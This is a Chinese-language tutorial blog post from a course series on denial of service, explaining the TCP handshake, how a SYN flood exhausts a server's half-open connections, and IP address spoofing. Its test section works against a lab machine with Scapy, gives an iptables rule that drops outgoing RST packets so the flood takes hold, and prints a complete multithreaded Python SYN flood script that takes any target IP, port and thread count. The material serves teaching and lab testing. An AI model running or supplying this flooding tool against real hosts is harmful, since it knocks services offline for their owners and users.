二十八、拒絕服務--(2)SynFlood、IP地址欺騙

weixin_34320159發表於2018-01-17
                                目錄

1、TCP三次握手
2、SynFlood攻擊原理
3、synflood測試
4、IP地址欺騙

1、TCP三次握手

一個正常的tcp連線,需要進行三次握手,tcp連線實質上只是客戶端和服務端的一種約定,如下圖所示:


4593121-ef5cb97c3d5e638c.png
三次握手

2、SynFlood攻擊原理

syn佔用的tcp最大連線數,而不是佔用cpu或者記憶體,是即使作業系統具有syn在等待n秒後斷開的機制,但是flood攻擊時,新空閒的連線又會被新的syn連線擠滿。


4593121-0c9a15a0e276a94a.png
syn攻擊

3、synflood測試

實驗環境:kali

#apt-get install python-gnuplot  //在kali開啟scapy會報一些資訊,如果再下次開啟時不再出現,需安裝此包

指定目標IP地址

>>> i=IP()
>>> i.dst="192.168.50.183"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.50.115
  dst= 192.168.50.183
  \options\

指定TCP埠

>>> t=TCP()
>>> t.dport=22
>>> t.display()
###[ TCP ]### 
  sport= ftp_data
  dport= ssh
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= {}

傳送資料包

>>> sr1(i/t,verbose=1,timeout=2)
Begin emission:
Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x5451 src=192.168.50.183 dst=192.168.50.115 options=[] |<TCP  sport=ssh dport=ftp_data seq=1747720139 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x1aa9 urgptr=0 options=[('MSS', 1460)] |<Padding  load='\x00\x00' |>>>

通過程式傳送資料包,對端會返回一個syn+ack,但是作業系統在接收到此資料包時,並不認為是系統本身傳送的(通過程式scapy傳送),所以會返回一個RST:


4593121-435fb631d9ae4cff.png
抓包分析

這樣就不會達到syn攻擊的效果,因為攻擊方主機已經主動的與被攻擊方斷開了,需要新增一條iptables策略,禁止傳送rst

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.50.183 -j DROP
4593121-7aecb3a554b9470d.png
檢視iptables策略

再次傳送一個資料包,可以看到伺服器在等待並且要求重傳,當超時後,丟棄此包。如果通過傳送大量的資料包,則會造成synflood攻擊。


4593121-2bd7040cf6b1244b.png
image.png

準備工作完成之後,下面開始針對靶機做測試:

#!/usr/bin/python
# -*- coding: utf-8 -*- 

from scapy.all import * 
from time import sleep 
import thread 
import random 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [埠] [執行緒數]"   
    print "舉例: ./syn_flood.py 1.1.1.1 80 20"     
    sys.exit()
    
target = str(sys.argv[1]) 
port = int(sys.argv[2]) 
threads = int(sys.argv[3])

print "正在執行 SYN flood 攻擊. 按 Ctrl+C 停止攻擊." 
def synflood(target,port):   
    while 0 == 0:
        x = random.randint(0,65535)      
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
        
for x in range(0,threads):   
    thread.start_new_thread(synflood, (target,port))
    
while 0 == 0:   
    sleep(1) 

新增執行許可權chmod +x synflood.py後,開始執行,此指令碼會一直迴圈傳送200個連線,直至ctrl+c終止。

4593121-c2c376847d174ee7.png
執行synflood攻擊

在沒有執行攻擊之前,ssh登入192.168.50.183是很快的,一旦執行指令碼,登入會超時。當然有時也能登入上去,是因為正好空閒的連線釋放出來後,ssh登入使用此釋放的連線。
4593121-c5cc0895829da0bd.png
ssh登入等待

netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'  //檢視靶機的連線數

4593121-3e28c356eb0dc183.png
檢視靶機連線

對於windows的可以在kali上使用rdesktop命令來遠端連線,傳送的連線數設定為10個就可以使windows xp無法連線,當然記得iptables策略。
windows系統預設半開連線數10個,像迅雷一些下載軟體,在下載的時候,預設會修改最大的連線數

TCP斷開握手

4593121-f371389e6a40c6cb.png
tcp斷開握手

可參考synflood原理與防範

4、IP地址欺騙

  • 經常用於Dos攻擊
  • 根據IP頭地址定址
    • 偽造IP源地址
  • 邊界路由器過濾
    • 入站、出站
  • 受害者可能是源、目的地址
  • 繞過基於地址的驗證
  • 壓力測試模擬多使用者
  • 上層協議(TCP序列號)

相關文章